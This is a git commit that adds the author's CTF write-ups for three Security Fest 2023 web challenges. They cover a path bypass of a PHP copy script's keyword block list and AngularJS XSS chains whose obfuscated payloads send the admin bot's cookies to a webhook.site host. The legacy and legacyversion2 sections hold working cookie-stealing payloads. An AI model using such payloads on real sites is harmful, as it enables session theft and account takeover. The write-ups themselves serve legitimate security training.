feat: added Security Fest CTF 2023

pull/1/head
Muhammad Daffa 2023-05-26 19:05:55 +07:00
parent 2f7583d36a
commit 6e457195f6
16 changed files with 291 additions and 0 deletions

View File

@ -48,6 +48,7 @@ List of CTF events that i have joined before
| DeadSec CTF 2023 | Yes | [Link](/DeadSec%20CTF%202023/) |
| BYUCTF 2023 | Yes | [Link](/BYUCTF%202023/) |
| Grey CTF 2023 Qualifiers | No | - |
| Security Fest CTF 2023 | Yes | [Link](/Security%20Fest%20CTF%202023/) |
### Local Events
| Event Name | Writeup Available? | Writeup Link |

View File

@ -0,0 +1,10 @@
# Security Fest CTF 2023
CTF writeup for Security Fest CTF 2023. I took part in this CTF competition with the TCP1P team, and got 6th place out of 272 teams
Thanks to the TCP1P team especially @dimasma0305 and @yuuna
| Category | Challenge |
| --- | --- |
| Web | [flagcopy](/Security%20Fest%20CTF%202023/flagcopy/)
| Web | [legacy](/Security%20Fest%20CTF%202023/legacy/)
| Web | [legacyversion2](/Security%20Fest%20CTF%202023/legacyversion2/)

View File

@ -0,0 +1,82 @@
# flagcopy
> Jack was a self-proclaimed pirate who believed that information wanted to be free
## About the Challenge
We have been given a website that have a functionality the file called `flag.php` to new destination
![preview](images/preview.png)
If we press the `Source Code` button, we will be given a source code of `copy.php`
```php
<?php
// Make sure we have the destination filename
if(!isset($_GET['dest'])) {
header('Content-Type: text/plain');
header('Refresh: 2;url=..'); // Cool pirates don't use Location, docs: https://web.archive.org/web/20040811213204/http://devedge.netscape.com/library/manuals/1998/htmlguide/tags3.html
echo "error! use: ?dest=<file>";
exit(0);
}
$dst=$_GET['dest'];
// Prevent hackspettar
$disallow = Array(
// Bad files
'index.php', 'copy.php', 'flag.php',
// Prevent traversals
'..', './', '.\\',
// Remove known bad characters
'?','#','&', "\0",
// Disallow bad protocols
'http://','https://','ftp://','zip://','rar://','expect://','phar://','zlib://','glob://','ssh2://','ogg://',
// TODO: Improve security
);
foreach($disallow as $word) {
if (stripos($dst,$word) !== false) {
echo "hacker attack detected!!1!";
exit(0);
}
}
// Copy the flag to it's new location
var_dump(copy('flag.php',$dst));
?>
```
So we can control the destination file
## How to Solve?
There are several levels that we need to pass in order to obtain the flag, and for these challenges, I am using the same payload for each level.
```
copy.php?dest=/var/www/html/dappppppppppppppp.txt
```
If I set `/var/www/html/dappppppppppppppp.txt`, the file called `flag.php` will be copied into `/var/www/html/dappppppppppppppp.txt`. And we need to access http://flagcopy-1.ctf.hackaplaneten.se/dappppppppppppppp.txt to check the content of `flag.php`
Repeat that steps until you obtain the flag. Here is the link of each level
* Level 1
```
http://flagcopy-1.ctf.hackaplaneten.se/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
```
* Level 2
```
http://flagcopy-1.ctf.hackaplaneten.se/flag-copy-final/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
```
* Level 3
```
http://flagcopy-1.ctf.hackaplaneten.se/flag-copy-final-pinky-promise-seriously/uploads/copy.php?dest=/var/www/html/dappppppppppppppp.txt
```
![flag](images/flag.png)
```
SECFEST{@nt1p1ratByr0n_w0ulD_b3_pr0uD}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

View File

@ -0,0 +1,87 @@
# legacy
> Just because it's legacy doesn't mean its not on the internet
## About the Challenge
We got 2 websites, first the admin bot. So we need to input our URL that contains XSS payload in order to obtain the flag in cookie's admin
![preview_admin](images/preview_admin.png)
And another website that using AngularJS
![preview_website](images/preview_website.png)
## How to Solve?
If we check the source code by pressing `Ctrl + U` there is a custom JS code called `helloworld.js`. Here is the content of the JS file
```javascript
document.cookie="dummy=legacy1";
var myApp = angular.module('helloworld', ['ui.router']);
myApp.config(function($stateProvider) {
var helloState = {
name: 'hello',
url: '/hello',
template: '<h3>hello world!</h3>'
}
var aboutState = {
name: 'about',
url: '/about',
template: '<h3>Its the UI-Router hello world app!</h3>'
}
var indexState = {
name: 'index',
url: '/',
template: '<h3>Index</h3>'
}
template = document.createElement("span")
template.innerHTML = "<h3>404</h3>path not found: "
sanitizer = document.createElement("code")
sanitizer.innerText = document.location
template.appendChild(sanitizer)
var f04State = {
name: '404',
url: '/404',
template: template.innerHTML
};
$stateProvider.state(helloState);
$stateProvider.state(aboutState);
$stateProvider.state(indexState);
$stateProvider.state(f04State);
});
myApp.config(["$locationProvider","$urlRouterProvider", function($locationProvider,$urlRouterProvider) {
$locationProvider.html5Mode(true);
console.log($urlRouterProvider);
$urlRouterProvider.otherwise('/404');
}]);
```
As you can see, we can input the payload in the 404 page. So Im using this angular payload to solve this chall (Im using [Portswigger cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter)) as a reference)
```angular
{{$on.constructor('alert(1)')()}}
```
And in order to obtain the flag, we need to change the payload like this
```angular
{{$on.constructor('eval(String.fromCharCode(118,97,114,32,105,61,110,101,119,32,73,109,97,103,101,40,41,59,32,105,46,115,114,99,61,34,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,52,55,99,50,99,100,99,57,45,49,50,51,51,45,52,97,99,56,45,56,101,56,98,45,53,53,101,102,101,48,54,97,101,98,50,99,47,63,99,111,111,107,105,101,61,34,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))')()}}
```
At first, I was using a normal payload to send the cookie to my webhook. However, the website kept encoding my payload. As a result, I decided to use `String.fromCharCode` to address this issue. Here is the final URL structure that I came up with:
```
http://legacy-1.ctf.hackaplaneten.se:8001/awikwok#!{{$on.constructor('eval(String.fromCharCode(118,97,114,32,105,61,110,101,119,32,73,109,97,103,101,40,41,59,32,105,46,115,114,99,61,34,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,52,55,99,50,99,100,99,57,45,49,50,51,51,45,52,97,99,56,45,56,101,56,98,45,53,53,101,102,101,48,54,97,101,98,50,99,47,63,99,111,111,107,105,101,61,34,43,98,116,111,97,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))')()}}
```
Check your webhook, and you will see base64 encoded msg in `cookie` parameter
![flag](images/flag.png)
```
SECFEST{L3g4cy_l3@k_w1th_0ld_cOd3_Tw3Ak}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 255 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.2 KiB

View File

@ -0,0 +1,111 @@
# legacyversion2
> Want some more legacy after solving legacy1?
## About the Challenge
We got 2 websites, first the admin bot. So we need to input our URL that contains XSS payload in order to obtain the flag in cookie's admin. But we need to use a website from `legacy` chall. So the idea here, we need to redirect the admin to the `legacyversion2` and exploit XSS there.
![preview_admin](images/preview_admin.png)
And another website that using AngularJS. This website has a functionality to change the language from english to deutsch if we press website `German` or `English` button
![preview_website](images/preview_website.png)
## How to Solve?
If we check the source code by pressing `Ctrl + U` there is a custom JS code called `script.js`. Here is the content of the JS file
```javascript
document.cookie="dummy=legacy1";
var app = angular.module('myApp', ['ngCookies', 'pascalprecht.translate']);
app.config(['$translateProvider', function ($translateProvider) {
$translateProvider.translations('en');
// configures staticFilesLoader
$translateProvider.useStaticFilesLoader({
prefix: '',
suffix: '.json'
});
// load 'en' table on startup
$translateProvider.preferredLanguage('en');
$translateProvider.useCookieStorage();
}]);
app.controller('Ctrl', ['$translate', '$scope', function ($translate, $scope) {
$scope.changeLanguage = function (langKey) {
$translate.use(langKey);
};
}]);
```
This code sets up an AngularJS application with translation capabilities, allowing the user to switch between languages and store their language preference in a cookie. Now if we check the cookie on this website, you will see there are 2 cookies called `dummy` and `NG_TRANSLATE_LANG_KEY`
![cookie](images/cookie.png)
And then when I check the HTTP request when changing the language from english to germany, there is a request like this
```
GET /demo/de.json HTTP/1.1
Host: legacyversion2-1.ctf.hackaplaneten.se:8001
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
```
After changing the cookie from en to de, I attempted to manually modify the cookie value to something random, such as dapppp. And here is the website looks like.
![experiment](images/experiment.png)
Looks broken right? And if we check the network tab on my browser, another request was sent with the following format:
```
GET /demo/dapppp.json HTTP/1.1
Host: legacyversion2-1.ctf.hackaplaneten.se:8001
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
```
Soooo, what if we input my website that have a JSON file that contains the payload?
```json
{
"HEADLINE": "What an awesome module!",
"PARAGRAPH": "Srsly!",
"PASSED_AS_TEXT": "Hey there! I'm passed as text value!",
"PASSED_AS_ATTRIBUTE": "I'm passed as attribute value, cool ha?",
"PASSED_AS_INTERPOLATION": "Beginners! I'm interpolated!",
"VARIABLE_REPLACEMENT": "Hi <img src=x onerror=\"var i=new Image(); i.src='https://webhook.site/47c2cdc9-1233-4ac8-8e8b-55efe06aeb2c/?cookie='+btoa(document.cookie);\">",
"BUTTON_LANG_DE": "German",
"BUTTON_LANG_EN": "English"
}
```
I put this payload on Github Gist and then I changed the `NG_TRANSLATE_LANG_KEY` cookie value to `https%3A%2F%2Fgist.githubusercontent.com%2Fdaffainfo%2Fd8cbd68a5b429f7423040b10d135dd16%2Fraw%2F876f863f560a6f75038eccf7ad242fefc5cad1dd%2Fa`
And luckily my payload was working
![testing_xss](images/testing_xss.png)
Now we need to redirect the admin from `legacy` to `legacyversion2` website and we need to set the cookie to Gist Github link. But the problem is, how we can set the `document.cookie` between another subdomain?
The answer is "It's still possible". I was told by @dimasmaulana that we can share cookie between subdomain and he gave me this [reference](https://stackoverflow.com/questions/18492576/share-cookies-between-subdomain-and-domain) to read.
Here is the payload that I used to solve this chall
```
document.cookie="NG_TRANSLATE_LANG_KEY=https%3A%2F%2Fgist.githubusercontent.com%2Fdaffainfo%2Fd8cbd68a5b429f7423040b10d135dd16%2Fraw%2F876f863f560a6f75038eccf7ad242fefc5cad1dd%2Fa;domain=ctf.hackaplaneten.se";window.location.replace("http://legacyversion2-1.ctf.hackaplaneten.se:8001/");window.location.replace("http://legacyversion2-1.ctf.hackaplaneten.se:8001/demo/");
```
So we set the cookie first on `legacy1` and dont forget to add `;domain=ctf.hackaplaneten.se` because we need to set the cookie to another subdomain. And then redirect admin to `legacyversion2` webiste. And here is the final payload that I used to solve this chall
```
http://legacy-1.ctf.hackaplaneten.se:8001/awikwok#!{{$on.constructor('eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,34,78,71,95,84,82,65,78,83,76,65,84,69,95,76,65,78,71,95,75,69,89,61,104,116,116,112,115,37,51,65,37,50,70,37,50,70,103,105,115,116,46,103,105,116,104,117,98,117,115,101,114,99,111,110,116,101,110,116,46,99,111,109,37,50,70,100,97,102,102,97,105,110,102,111,37,50,70,100,56,99,98,100,54,56,97,53,98,52,50,57,102,55,52,50,51,48,52,48,98,49,48,100,49,51,53,100,100,49,54,37,50,70,114,97,119,37,50,70,56,55,54,102,56,54,51,102,53,54,48,97,54,102,55,53,48,51,56,101,99,99,102,55,97,100,50,52,50,102,101,102,99,53,99,97,100,49,100,100,37,50,70,97,59,100,111,109,97,105,110,61,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,34,59,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,108,101,103,97,99,121,118,101,114,115,105,111,110,50,45,49,46,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,58,56,48,48,49,47,34,41,59,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,34,104,116,116,112,58,47,47,108,101,103,97,99,121,118,101,114,115,105,111,110,50,45,49,46,99,116,102,46,104,97,99,107,97,112,108,97,110,101,116,101,110,46,115,101,58,56,48,48,49,47,100,101,109,111,47,34,41,59))')()}}
```
Send the URL to admin bot, and check the webhook
![flag](images/flag.png)
```
SECFEST{L3g@cy_rem3mb0rz_0r_m@yb3_n0t}
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 248 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB